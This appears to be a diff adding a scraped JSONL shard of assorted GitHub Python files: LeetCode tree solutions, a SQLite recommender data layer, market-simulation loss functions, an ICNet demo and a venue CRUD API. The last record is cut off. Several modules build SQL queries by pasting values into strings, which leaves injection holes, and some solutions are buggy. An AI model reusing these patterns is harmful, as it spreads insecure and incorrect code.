diff --git "a/1573.jsonl" "b/1573.jsonl" new file mode 100644--- /dev/null +++ "b/1573.jsonl" @@ -0,0 +1,1229 @@ +{"seq_id":"10501081241","text":"class TreeNode:\n\tdef __init__(self, x, left, right):\n\t\tself.val = x\n\t\tself.left, self.right = None, None\n\n\tdef createBST(self, nums):\n\t\troot = None\n\t\tfor num in nums:\n\t\t\troot = insert(root, num)\n\t\treturn root\n\n\tdef insert(self, root, val):\n\t\tif not root: return TreeNode(val, None, None)\n\t\tif val <= root.val:\n\t\t\troot.left = self.insert(root.left, val)\n\t\telse:\n\t\t\troot.right = self.insert(root.right, val)\n\t\treturn root\n\n\tdef inorder(self, root):\n\t\tif not root: return\n\t\tself.inorder(root.left)\n\t\tprint(root.val)\n\t\tself.inorder(root.right)\n\n# Tree Question Template\n# Template 1: one root\ndef func_solve(root):\n\tif not root: return ...\n\tif fun_a(root): return ...\n\tl = func_solve(root.left)\n\tr = func_solve(root.right)\n\treturn fun_b(root, l, r)\n\n# LeetCode 104.\ndef maxDepth(root):\n\tif not root: return 0\n\tl = maxDepth(root.left)\n\tr = maxDepth(root.right)\n\treturn max(l, r) + 1\n\n# LeetCode 111.\ndef minDepth(root):\n\tif not root: return 0 # 空节点\n\tif not root.left and not root.right: return 1 # 叶节点\n\tl = minDepth(root.left)\n\tr = minDepth(root.right)\n\n\tif not root.left: return 1 + r\n\tif not root.right: return 1 + l\n\n\treturn max(l, r) + 1\n\n# LeetCode 112.\ndef pathSum(root, sum):\n\tif not root: return False\n\tif not root.left and not root.right: return root.val == sum\n\tl = pathSum(root.left, sum - root.val)\n\tr = pathSum(root.right, sum - root.val)\n\treturn l or r\n\n\n# Template 2: two roots\ndef solve(p, q):\n\tif not p and not q: return ...\n\tif fun_a(p, q): return ...\n\tc1 = solve(p.child, q.child)\n\tc2 = solve(p.child, q.child)\n\treturn fun_b(p, q, c1, c2)\n\n# LeetCode 100. Same Tree\ndef sameTree(p, q):\n\tif not p and not q: return True\n\tif not p or not q: return False\n\tl = sameTree(p.left, q.left)\n\tr = sameTree(p.right, q.right)\n\treturn p.val == q.val and l and r\n\n# LeetCode 101. Symmetric Tree\ndef mirror(p, q):\n\tif not p and not q: return True\n\tif not p or not q: return False\n\tl = mirror(p.left, q.right)\n\tr = mirror(p.right, q.left)\n\treturn p.val == q.val and l and r\n\n# LeetCode 951. Flip Equivalent Binary Trees\ndef flipEquiv(p, q):\n\tif not p and not q: return True\n\tif not p or not q: return False\n\tl1 = flipEquiv(p.left, q.left)\n\tl2 = flipEquiv(p.left, q.right)\n\tr1 = flipEquiv(p.right, q.right)\n\tr2 = flipEquiv(p.right, q.left)\n\treturn p.val == q.val and ((l1 and r1) or (l2 and r2))","repo_name":"vkso/LeetCode","sub_path":"2. Data Structure/2.1 bst.py","file_name":"2.1 bst.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"608259226","text":"# Rotate Array by given number of rotations\n\na = [1,2,3,4,5,6,7,8,9,10]\n\ndef rotate(a, side):\n first = a[0]\n last = a[len(a)-1]\n \n # For Left Rotate\n if side=='L':\n for i in range(len(a)-1):\n a[i] = a[i+1]\n \n a[len(a)-1] = first\n \n # For Right Rotate\n if side=='R':\n for i in range(len(a)-1, 0, -1):\n a[i] = a[i-1]\n \n a[0] = last\n \n # Return List\n return a\n \n \n \nfor i in \"LLRLRLRLRR\":\n print(rotate(a, i))\n \n# Output","repo_name":"shubhamsawant0601/Python_Practise","sub_path":"Arrays/Rotate Array by given number of rotations.py","file_name":"Rotate Array by given number of rotations.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"43725448963","text":"import heapq\n\nN = int(input())\nheap = []\nanswer = []\nfor i in range(N):\n temp = int(input())\n if temp:\n heapq.heappush(heap, (-temp,temp))\n else:\n if heap:\n answer.append(heapq.heappop(heap)[1])\n else:\n answer.append(0)\nfor i in answer:\n print(i)","repo_name":"Likelion-Algorithm/AlgoStudy","sub_path":"티어 별 문제/실버2/최대 힙/주현.py","file_name":"주현.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"34091413022","text":"gestures = [[]]\nz = ax = ay = 0\n\ndef setup():\n size(500, 500, P3D)\n color_mode(HSB)\n \ndef draw():\n ortho()\n background(200)\n for gesture in gestures:\n stroke_weight(2)\n draw_gesture(gesture)\n\ndef draw_gesture(gesture): \n with begin_shape():\n for x, y, z, rx, ry in gesture:\n fx, fy, fz = get_rotated_point(x, y, z, rx, ry)\n stroke(abs(z), 255, 128)\n no_fill()\n vertex(fx, fy, fz)\n \ndef get_rotated_point(x, y, z, rx, ry):\n with push_matrix():\n translate(width / 2, height / 2)\n rotate_y(radians(ry - ay)) \n rotate_x(radians(rx - ax)) \n translate(-width / 2, -height / 2)\n translate(x, y, z)\n return model_x(0, 0, 0), model_y(0, 0, 0), model_z(0, 0, 0) \n\ndef mouse_dragged():\n global ax, ay\n if mouse_button == LEFT:\n gestures[-1].append((mouse_x, mouse_y, z, ax, ay))\n else:\n dx = mouse_x - pmouse_x\n ay += dx\n dy = mouse_y - pmouse_y\n ax += dy\n \n \ndef mouse_released():\n gestures.append([])\n \ndef key_pressed():\n global z, ax, ay\n if key == 'a':\n z += 10\n elif key == 'z':\n z -= 10\n elif key == ' ':\n ax = ay = 0\n","repo_name":"villares/sketch-a-day","sub_path":"2021/sketch_2021_10_24a/sketch_2021_10_24_py5.py","file_name":"sketch_2021_10_24_py5.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"71"} +{"seq_id":"40891813630","text":"from itertools import combinations\nfrom math import gcd\nimport sys\n\ndef solution(arr):\n def lcm(x, y):\n return x * y // gcd(x, y)\n while True:\n arr.append(lcm(arr.pop(), arr.pop()))\n if len(arr) == 1:\n return arr[0]\n\nnum = list(map(int, input().split()))\nmin = sys.maxsize\nfor x in combinations(num, 3):\n if min > solution(list(x)):\n min = solution(list(x))\nprint(min)","repo_name":"mandos1995/online_judge","sub_path":"BOJ/전체문제/1145_적어도 대부분의 배수.py","file_name":"1145_적어도 대부분의 배수.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"6067520081","text":"import sqlite3\nfrom contextlib import closing\nfrom app import MemberList\nimport pandas as pd\nimport numpy as np\nimport os\nimport shutil\n\n\n# データベース、テーブルを作成する\ndef create_table():\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n # テーブル削除\n c.execute('drop table if exists member')\n c.execute('drop table if exists evaluation')\n # テーブル作成\n create_member_table = '''create table if not exists member(id integer primary key autoincrement, name text, \n group_name text, twitter_id text, instagram_id text)'''\n c.execute(create_member_table)\n create_evaluation_table = '''create table if not exists evaluation(id integer primary key autoincrement)'''\n c.execute(create_evaluation_table)\n # 値設定\n insert_member_sql = '''insert into member(name,group_name) values(?,?)'''\n # add_column_to_evaluation = ''' alter table evaluation add column ? [ int]'''\n for group in MemberList.groupList:\n for i in range(len(group)):\n if i == 0:\n continue\n c.execute(insert_member_sql, (group[i], group[0]))\n c.execute(' alter table evaluation add column ' + str(group[i]) + ' [ int]')\n c.execute('PRAGMA TABLE_INFO(evaluation)')\n print(c.fetchall())\n conn.commit()\n\n\n# グループを追加する\n# グループは[group_name,name1,name2,……]のList型groupで与えられる\ndef add_group_dao(group):\n for i in range(len(group)):\n if i == 0:\n continue\n add_member_dao(group[i], group[0])\n\n\n# メンバーを追加する\ndef add_member_dao(name, group_name):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n # 値設定\n insert_member_sql = '''insert into member(name,group_name) values(?,?)'''\n c.execute(insert_member_sql, (name, group_name))\n c.execute(' alter table evaluation add column ' + str(name) + ' [ int]')\n conn.commit()\n\n\n# ユーザの評価行を作成\n# ユーザの行をidとして返す\ndef add_evaluationRow_dao():\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n c.execute('insert into evaluation default values')\n id = c.lastrowid\n conn.commit()\n c.execute('select * from evaluation')\n print(c.fetchall())\n return id\n\n\ndef add_evaluation_dao(name, eval, id):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n update_sql = 'update evaluation set ' + name + ' = ' + str(eval) + ' where id = ' + str(id)\n print(name)\n c.execute(update_sql)\n conn.commit()\n return eval\n\n\ndef find_member_name_by_id_dao(id):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n select_sql = \"select name from member where id = ?\"\n c.execute(select_sql, (str(id),))\n return str(c.fetchone()[0])\n\n\ndef get_twitter(name):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n select_sql = 'select group_name, twitter_id from member where name = ?'\n c.execute(select_sql, (name,))\n result = c.fetchone()\n group_name = result[0]\n twitter_id = result[1]\n result_set = [group_name, twitter_id]\n return result_set\n\n\ndef add_twitter():\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n group_count = len(MemberList.groupList)\n\n for i in range(group_count):\n for j in range(len(MemberList.groupList[i])):\n if j == 0:\n continue\n name = MemberList.groupList[i][j]\n twitter = MemberList.groupTwitterList[i][j]\n update_sql = \"update member set twitter_id = '\" + str(twitter) + \"' where name = '\" + str(name) + \"'\"\n print(update_sql)\n c.execute(update_sql)\n\n conn.commit()\n c.execute('select * from member')\n print(c.fetchall())\n\n\ndef insert_csv():\n df = pd.read_csv('C:/Users/yasug/Downloads/Untitled form (Responses) - Sheet4 (1).csv')\n columns_name = df.columns\n row_count = 33\n print(columns_name)\n\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n\n for i in range(row_count):\n df_row = df.iloc[i, :].values\n c.execute('insert into evaluation default values')\n id = c.lastrowid\n for j in range(len(columns_name)):\n name = columns_name[j]\n if columns_name[j] == '小山さゆ':\n name = '小山ひな'\n if columns_name[j] == '神崎颯花':\n name = '神﨑風花'\n if columns_name[j] == '松下玲緒奈':\n name = '松下玲緒菜'\n update_sql = 'update evaluation set ' + str(name) + ' = ' + str(df_row[j]) + ' where id = ' + str(id)\n c.execute(update_sql)\n conn.commit()\n\n\ndef calc_similarity(id):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n target_user_df = pd.read_sql_query('select * from evaluation where id = ' + str(id), conn)\n target_user_org = target_user_df.iloc[0, 1:].values\n print(target_user_org)\n\n similarities = []\n ids = []\n compare_user_df = pd.read_sql_query('select * from evaluation', conn)\n print(compare_user_df)\n for i in range(len(compare_user_df)):\n target_user = target_user_org\n print('-----------------------------------')\n print(i+1)\n if i + 1 != int(id):\n compare_user = compare_user_df.iloc[i, 1:].values\n columns_count = len(target_user)\n for j in range(columns_count):\n if target_user[j] is None or np.isnan(target_user[j]):\n target_user[j] = None\n compare_user[j] = None\n elif compare_user[j] is None or np.isnan(compare_user[j]):\n target_user[j] = None\n compare_user[j] = None\n\n target_user = [x for x in target_user if x is not None]\n compare_user = [y for y in compare_user if y is not None]\n\n s1 = pd.Series(target_user)\n s2 = pd.Series(compare_user)\n\n res = s1.astype('int').corr(s2.astype('int'))\n if ~np.isnan(res):\n ids.append(i+1)\n similarities.append(res)\n print('===========================')\n result = dict(zip(ids, similarities))\n result_sort = sorted(result.items(), key=lambda x: x[1], reverse=True)\n print(result_sort)\n print(result_sort[0])\n print(result_sort[0][0])\n similarity_df = pd.read_sql_query('select * from evaluation where id = ' + str(result_sort[0][0]) +\n ' or id = ' + str(result_sort[1][0]) +\n ' or id = ' + str(result_sort[2][0]), conn)\n df = pd.concat([target_user_df, similarity_df])\n print(df)\n\n names = []\n points = []\n for i in range(len(df.columns)):\n if df.iloc[0, i] is None:\n if df.iloc[1, i] is None:\n rec1 = 0\n else:\n rec1 = int(df.iloc[1, i])\n if df.iloc[2, i] is None:\n rec2 = 0\n else:\n rec2 = int(df.iloc[2, i])\n if df.iloc[3, i] is None:\n rec3 = 0\n else:\n rec3 = int(df.iloc[3, i])\n if rec1 + rec2 + rec3 >= 1:\n names.append(df.columns[i])\n rec1_points = rec1 * float(result_sort[0][1])\n rec2_points = rec2 * float(result_sort[1][1])\n rec3_points = rec3 * float(result_sort[2][1])\n points.append(rec1_points + rec2_points + rec3_points)\n recommend = dict(zip(names, points))\n recommend_sort = sorted(recommend.items(), key=lambda x: x[1], reverse=True)\n print(recommend_sort)\n\n recommend_list = []\n count = 0\n for item in recommend_sort:\n recommend_list.append(item[0])\n count = count + 1\n if count >= 10:\n break\n print(recommend_list)\n return recommend_list\n\n\ndef show_evaluation_data():\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n df = pd.read_sql_query('select * from evaluation', conn)\n result_str = []\n df_columns_str = [str(n) for n in df.columns.tolist()]\n result_str.append(df_columns_str)\n for i in range(len(df)):\n result_numpy = df.iloc[i, :].values\n result = [str(n) for n in result_numpy]\n result_str.append(result)\n return result_str\n\n\ndef create_addmember_table():\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n # テーブル削除\n c.execute('drop table if exists addmember')\n # テーブル作成\n create_member_table = '''create table if not exists addmember(id integer primary key autoincrement, name text, \n group_name text, twitter_id text, instagram_id text,img_name text)'''\n c.execute(create_member_table)\n conn.commit()\n\n\ndef add_addmember(member):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n insert_member_sql = '''insert into addmember(name,group_name,twitter_id,instagram_id,img_name) values(?,?,?,?,?)'''\n c.execute(insert_member_sql, (member[0], member[1], member[2], member[3], member[4],))\n conn.commit()\n\n c.execute('select * from addmember')\n print(c.fetchall())\n\n\ndef find_member_by_name_and_group_name(check_member):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n check_added_member = '''select * from member where name = ? and group_name = ?'''\n c.execute(check_added_member, (check_member[0], check_member[1]))\n\n result = c.fetchall()\n print(result)\n print(len(result))\n if len(result) == 0:\n return False\n else:\n return True\n\n\ndef get_addmember():\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n get_member = '''select * from addmember'''\n c.execute(get_member)\n result = c.fetchall()\n return result\n\n\ndef aproval_member(id):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n get_member = '''select name,group_name,twitter_id,instagram_id,img_name from addmember where id = ?'''\n c.execute(get_member, (id,))\n result = c.fetchall()[0]\n\n insert_member_sql = '''insert into member(name,group_name,twitter_id,instagram_id) values(?,?,?,?)'''\n c.execute(insert_member_sql, (result[0], result[1], result[2], result[3]))\n\n dir_name = './static/img/' + result[0]\n os.makedirs(dir_name, exist_ok=True)\n img_filename = './static/etcimg/' + result[4]\n new_img_filename = dir_name + '/' + result[0] + ' (1).jpg'\n shutil.copyfile(img_filename, new_img_filename)\n\n c.execute(' alter table evaluation add column ' + result[0] + ' [ int]')\n c.execute('delete from addmember where id = ?', (id, ))\n conn.commit()\n\n\ndef disaproval_member(id):\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n c.execute('delete from addmember where id = ?',(id, ))\n conn.commit()\n\n\ndef any_sql():\n dbname = 'IdolRecommendWebDB'\n with closing(sqlite3.connect(dbname)) as conn:\n c = conn.cursor()\n c.execute('delete from member where name = 柊宇咲')\n\n\n","repo_name":"RinchanShika/IdolRecommendWeb","sub_path":"app/dataAccessor.py","file_name":"dataAccessor.py","file_ext":"py","file_size_in_byte":12483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"31612736546","text":"from django.conf.urls import url\nfrom django.contrib import admin\n\nfrom . import views\n\n\nurlpatterns = [\n url(r'^$', views.payement, name='payement'),\n url(r'^new-payement$', views.new_payement, name='new-payement'),\n url(r'^fees$', views.fees, name='fees'),\n url(r'^new-fee$', views.new_fee, name='new-fee'),\n url(r'^edit-fee/(\\d+)/$', views.edit_fee, name='fee-edit'),\n url(r'^delete-fee/([0-9]+)$', views.delete_fee, name='fee-delete'),\n]\n","repo_name":"thiernomoudou/test-erp","sub_path":"apps/payement/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"17876899926","text":"from sklearn.linear_model import LinearRegression\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom analysis.market_analyzer import StylizedFacts, MarketVisualizer\nfrom scipy.stats import wasserstein_distance\n\n\ndef aggregate_losses(loss_list):\n aggregate_loss = {'auto_correlation_loss': 0,\n 'volatility_clustering_loss': 0,\n 'leverage_effect_loss': 0,\n 'distribution_loss': 0,\n 'total_loss': 0}\n\n n = len(loss_list)\n for loss in loss_list:\n aggregate_loss['auto_correlation_loss'] += loss.auto_correlation_loss / n\n aggregate_loss['volatility_clustering_loss'] += loss.volatility_clustering_loss / n\n aggregate_loss['leverage_effect_loss'] += loss.leverage_effect_loss / n\n aggregate_loss['distribution_loss'] += loss.distribution_loss / n\n aggregate_loss['total_loss'] += loss.total_loss / n\n\n return aggregate_loss\n\n\nclass LossFunction:\n\n def __init__(self, target_facts: StylizedFacts, simulated_facts: StylizedFacts):\n self.target_facts = target_facts\n self.simulated_facts = simulated_facts\n self.auto_correlation_loss = None\n self.volatility_clustering_loss = None\n self.leverage_effect_loss = None\n self.distribution_loss = None\n self.total_loss = None\n\n def compute_loss(self):\n if self.auto_correlation_loss is None:\n self.compute_auto_correlation_loss()\n if self.volatility_clustering_loss is None:\n self.compute_volatility_clustering_loss()\n if self.leverage_effect_loss is None:\n self.compute_leverage_effect_loss()\n if self.distribution_loss is None:\n self.compute_distribution_loss()\n total_loss = 0\n total_loss += self.auto_correlation_loss\n total_loss += self.volatility_clustering_loss\n total_loss += self.leverage_effect_loss\n # Scale the distribution function\n total_loss += self.distribution_loss\n total_loss /= 4\n self.total_loss = total_loss\n return total_loss\n\n def compute_auto_correlation_loss(self):\n target = self.target_facts.auto_correlation\n simulation = self.simulated_facts.auto_correlation\n loss = np.abs(target.values - simulation.values).mean()\n self.auto_correlation_loss = loss\n\n def compute_volatility_clustering_loss(self):\n target = self.target_facts.volatility_clustering\n simulation = self.simulated_facts.volatility_clustering\n loss = np.abs(target.values - simulation.values).mean()\n self.volatility_clustering_loss = loss\n\n def compute_leverage_effect_loss(self):\n target = self.target_facts.leverage_effect\n simulation = self.simulated_facts.leverage_effect\n loss = np.abs(target.values - simulation.values).mean()\n self.leverage_effect_loss = loss\n\n def compute_distribution_loss(self):\n # target = self.target_facts.density\n # simulation = self.simulated_facts.density\n # loss = wasserstein_distance(target.index.values, simulation.index.values,\n # target.values, simulation.values)\n target = self.target_facts.rets\n simulation = self.simulated_facts.rets\n loss = wasserstein_distance(target, simulation)\n self.distribution_loss = loss\n\n def to_df(self):\n columns = [\"auto_correlation_loss\", \"volatility_clustering_loss\",\n \"leverage_effect_loss\", \"distribution_loss\", \"total_loss\"]\n values = [[self.auto_correlation_loss, self.volatility_clustering_loss,\n self.leverage_effect_loss, self.distribution_loss, self.total_loss]]\n\n return pd.DataFrame(values, columns=columns)\n\n\nclass LossAnalyzer:\n\n def __init__(self, file_path: str):\n self.file_path = file_path\n self.results_df = pd.read_csv(file_path, index_col=None)\n\n def visualize_relationship(self, independent_variable: str, dependent_variable: str, save_name=None):\n ind_var = self.results_df[independent_variable]\n dep_var = self.results_df[dependent_variable]\n\n lr = LinearRegression()\n lr.fit(ind_var.values.reshape(-1, 1), dep_var.values)\n min_ind = ind_var.min()\n max_ind = ind_var.max()\n range_pred = np.arange(min_ind, max_ind, (max_ind - min_ind) / 100)\n y_pred = lr.predict(range_pred.reshape(-1, 1))\n plt.scatter(ind_var, dep_var, label='scatter')\n plt.plot(range_pred, y_pred, label='linear fit', color='red')\n plt.xlabel(independent_variable)\n plt.ylabel(dependent_variable)\n plt.legend()\n if save_name is not None:\n plt.savefig(save_name)\n plt.show()\n\n\ndef compute_total_loss(price_series, name_simulator: str):\n simulated_market_visualizer = MarketVisualizer(price_series, is_simulated=True)\n\n headers = ['Open', 'High', 'Low', 'Close']\n data = pd.read_csv('../data/spx/SPX_1min.txt', header=None, index_col=0, parse_dates=[0])\n data = data.drop(columns=[5])\n data.columns = headers\n real_market_visualizer = MarketVisualizer(data)\n\n rets_int = [1, 5, 15, 30, \"1d\"]\n losses = []\n t_losses = []\n for ret in rets_int:\n\n if ret == '1d':\n loss = LossFunction(real_market_visualizer.market_analyzer.get_daily_market_metrics(),\n simulated_market_visualizer.market_analyzer.get_daily_market_metrics())\n else:\n loss = LossFunction(real_market_visualizer.market_analyzer.get_market_metrics(ret),\n simulated_market_visualizer.market_analyzer.get_market_metrics(ret))\n loss.compute_loss()\n losses += [loss]\n t_losses += [loss.total_loss]\n\n correlation_loss = mean_absolute_error(real_market_visualizer.market_analyzer.get_close_auto_correlation(),\n simulated_market_visualizer.market_analyzer.get_close_auto_correlation())\n\n rets_int += ['close']\n t_losses += [correlation_loss]\n\n total_loss = aggregate_losses(losses)\n\n final_loss = correlation_loss + total_loss[\"total_loss\"] * 5\n labels = [\"$l_{\" + str(x) + \"}$\" for x in rets_int]\n labels += [\"$\\\\frac{L}{6}$\"]\n t_losses += [final_loss / 6]\n colors = ['blue', 'green', 'orange', 'purple', 'red', 'brown', 'yellow']\n\n plt.barh(list(range(len(t_losses))), t_losses, tick_label=labels, color=colors)\n plt.title(f'Losses per Time Horizons for {name_simulator}')\n plt.xlabel('Loss for Component')\n plt.yticks(fontsize=20)\n plt.grid(True)\n plt.show()\n\n print(name_simulator)\n print(labels)\n print(t_losses)\n\n return final_loss\n\n\ndef mean_absolute_error(target, simulated):\n return (np.abs(target - simulated)).mean()\n","repo_name":"lupoAI/trader-simulator-py","sub_path":"analysis/loss_function.py","file_name":"loss_function.py","file_ext":"py","file_size_in_byte":6847,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"72744704869","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch\n\nimport torch\n\nclass FeedForward(nn.Module):\n\t\"Implements FFN equation.\"\n\tdef __init__(self, d_model, d_ff, dropout=0.1):\n\t\tsuper(FeedForward, self).__init__()\n\t\tself.w_1 = nn.Linear(d_model, d_ff)\n\t\tself.w_2 = nn.Linear(d_ff, d_model)\n\t\tself.dropout = nn.Dropout(dropout)\n\t\tself.act = nn.ReLU()\n\n\tdef forward(self, input):\n\t\toutput = self.w_1(input)\n\t\toutput = self.act(output)\n\t\toutput = self.dropout(output)\n\t\toutput = self.w_2(output)\n\t\treturn output\n","repo_name":"saitarslanboun/Attention_Is_All_You_Need","sub_path":"Model/Feed_Forward.py","file_name":"Feed_Forward.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"24096056101","text":"#!/usr/bin/env python2\n\nimport argparse\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nimport time\nimport matplotlib.pyplot as plt\n\nfrom tqdm import trange\nfrom utils.config import Config\nfrom model import ICNet, ICNet_BN\n\nmodel_config = {\n 'train': ICNet,\n 'trainval': ICNet,\n 'train_bn': ICNet_BN,\n 'trainval_bn': ICNet_BN,\n 'others': ICNet_BN\n}\n\n# Choose dataset here, but remember to use `script/downlaod_weight.py` first\ndataset = 'cityscapes'\nfilter_scale = 1\n\n\nclass InferenceConfig(Config):\n def __init__(self, dataset, is_training, filter_scale):\n Config.__init__(self, dataset, is_training, filter_scale)\n\n # You can choose different model here, see \"model_config\" dictionary. If you choose \"others\",\n # it means that you use self-trained model, you need to change \"filter_scale\" to 2.\n model_type = 'trainval'\n\n # Set pre-trained weights here (You can download weight from Google Drive)\n model_weight = './model/cityscapes/icnet_cityscapes_trainval_90k.npy'\n\n # Define default input size here\n # INFER_SIZE = (1080, 1440, 3) # height width\n INFER_SIZE = (1024, 2048, 3)\n\n\ncfg = InferenceConfig(dataset, is_training=False, filter_scale=filter_scale)\ncfg.display()\n\n# Create graph here\nmodel = model_config[cfg.model_type]\nnet = model(cfg=cfg, mode='inference')\n\n# Create session & restore weight!\nnet.create_session()\nnet.restore(cfg.model_weight)\n\n#------------------------------------------------------\n# get ICNET output image and class\n#------------------------------------------------------\nfor i in range(1, 13):\n image_path = '/home/nrsl/code/data/1440-1080-images/' + str(\n i) + 'image.png'\n im1 = cv2.imread(image_path)\n if im1.shape != cfg.INFER_SIZE:\n im1 = tf.gfile.FastGFile(image_path, 'rb').read()\n with tf.Session() as sess:\n img_after_decode = tf.image.decode_jpeg(im1)\n resized = tf.image.resize_images(img_after_decode, [1024, 2048],\n method=3)\n im1 = np.asarray(resized.eval(), dtype=\"uint8\")\n\n results2, img_classes = net.predict(im1)\n print(img_classes)\n\n im1 = cv2.cvtColor(im1, cv2.COLOR_BGR2RGB)\n overlap_results2 = 0.5 * im1 + 0.5 * results2[0]\n\n vis_im2 = np.concatenate(\n [im1 / 255.0, results2[0] / 255.0, overlap_results2 / 255.0], axis=1)\n\n plt.figure(figsize=(20, 15))\n plt.imshow(vis_im2)\n plt.show()\n","repo_name":"lisilin013/ICNet-tensorflow-ros","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"8184364648","text":"# we will define a class level attribut that will be valuable\n# through all class instances like in the example bellow\n\n\nclass Point:\n default_color = \"Black\" # this is class level variable\n # with __init__ magical class we create constructor for this class\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def draw(self):\n print(f\"Point x is: {self.x}, and point y has a {self.y} pt value.\")\n\n# if we change class attribute value, it will change in all instances\n# of that class\n\n\nPoint.default_color = \"Blue\"\n\nnew_point = Point(18, 21)\nprint(new_point.default_color) # this value is dervied from class\nprint(Point.default_color)\nnew_point.draw()\n\nanother_new_point = Point(1, 2)\nprint(another_new_point.default_color) # this value is dervied from class\nanother_new_point.draw()\n","repo_name":"ervinpepic/py_bootcamp","sub_path":"classes/class_vs_instance_atributes.py","file_name":"class_vs_instance_atributes.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"38441142929","text":" \nfrom sql import MySQL\n\n\nclass VenueApi:\n def __init__(self,venue) -> None:\n self.venue = venue\n \n def venue_details(self):\n sql = MySQL()\n sql.__enter__()\n cursor = sql.conn.cursor()\n cursor.execute(f'''\n SELECT * FROM VENUE\n ''')\n lst=[]\n for row in cursor.fetchall():\n lst.append(self.venue.Venue(id=row.ID,name=row.NAME))\n \n \n return {\"data\":lst}\n def update_venue_details(self,venue):\n sql = MySQL()\n sql.__enter__()\n cursor = sql.conn.cursor()\n cursor.execute(f'''\n UPDATE VENUE SET ID = '{venue.id}',\n NAME='{venue.name}'\n WHERE ID='{venue.id}'\n ''')\n \n return {\n \"data\":venue\n }\n def delete_venue_details(self,venue):\n sql = MySQL()\n sql.__enter__()\n cursor = sql.conn.cursor()\n cursor.execute(f'''\n DELETE FROM VENUE WHERE ID = '{venue.id}'\n ''')\n \n\n return {\"data\":\"okay\"}\n def add_venue(self,venue):\n sql = MySQL()\n sql.__enter__()\n cursor = sql.conn.cursor()\n cursor.execute(f'''\n INSERT INTO VENUE\n VALUES\n ('{venue.name}')\n ''')\n \n return {\"data\":\"okay\"}\n","repo_name":"muzamilhafeez/MEYE_Pro_Api","sub_path":"ApiFunctions/Venue.py","file_name":"Venue.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"30455044122","text":"#!/usr/bin/env python3\n\"\"\" Rmarkov chain \"\"\"\n\nimport numpy as np\n\n\ndef regular(P):\n \"\"\"\n Returns: a numpy.ndarray of shape (1, n)\n \"\"\"\n if type(P) is not np.ndarray or len(P.shape) != 2:\n return None\n if P.shape[0] != P.shape[1]:\n return None\n sum_test = np.sum(P, axis=1)\n for elem in sum_test:\n if not np.isclose(elem, 1):\n return None\n _, eig_vec = np.linalg.eig(P.T)\n normalization = (eig_vec/eig_vec.sum()).real\n aux = np.dot(normalization.T, P)\n for elem in aux:\n if (elem >= 0).all() and np.isclose(elem.sum(), 1):\n return elem.reshape(1, -1)\n return None\n","repo_name":"Nzparra/holbertonschool-machine_learning","sub_path":"unsupervised_learning/0x02-hmm/1-regular.py","file_name":"1-regular.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"42741210243","text":"from tema.generator import PublicationsGenerator, SubscriptionsGenerator\nfrom publication_pb2 import Publication\nfrom subscription_pb2 import Subscription, FieldConfigType1, FieldConfigType2\nfrom datetime import datetime\n\n# pub_gen = PublicationsGenerator(publications_count=2).generate()\n# for pub in pub_gen:\n# publication 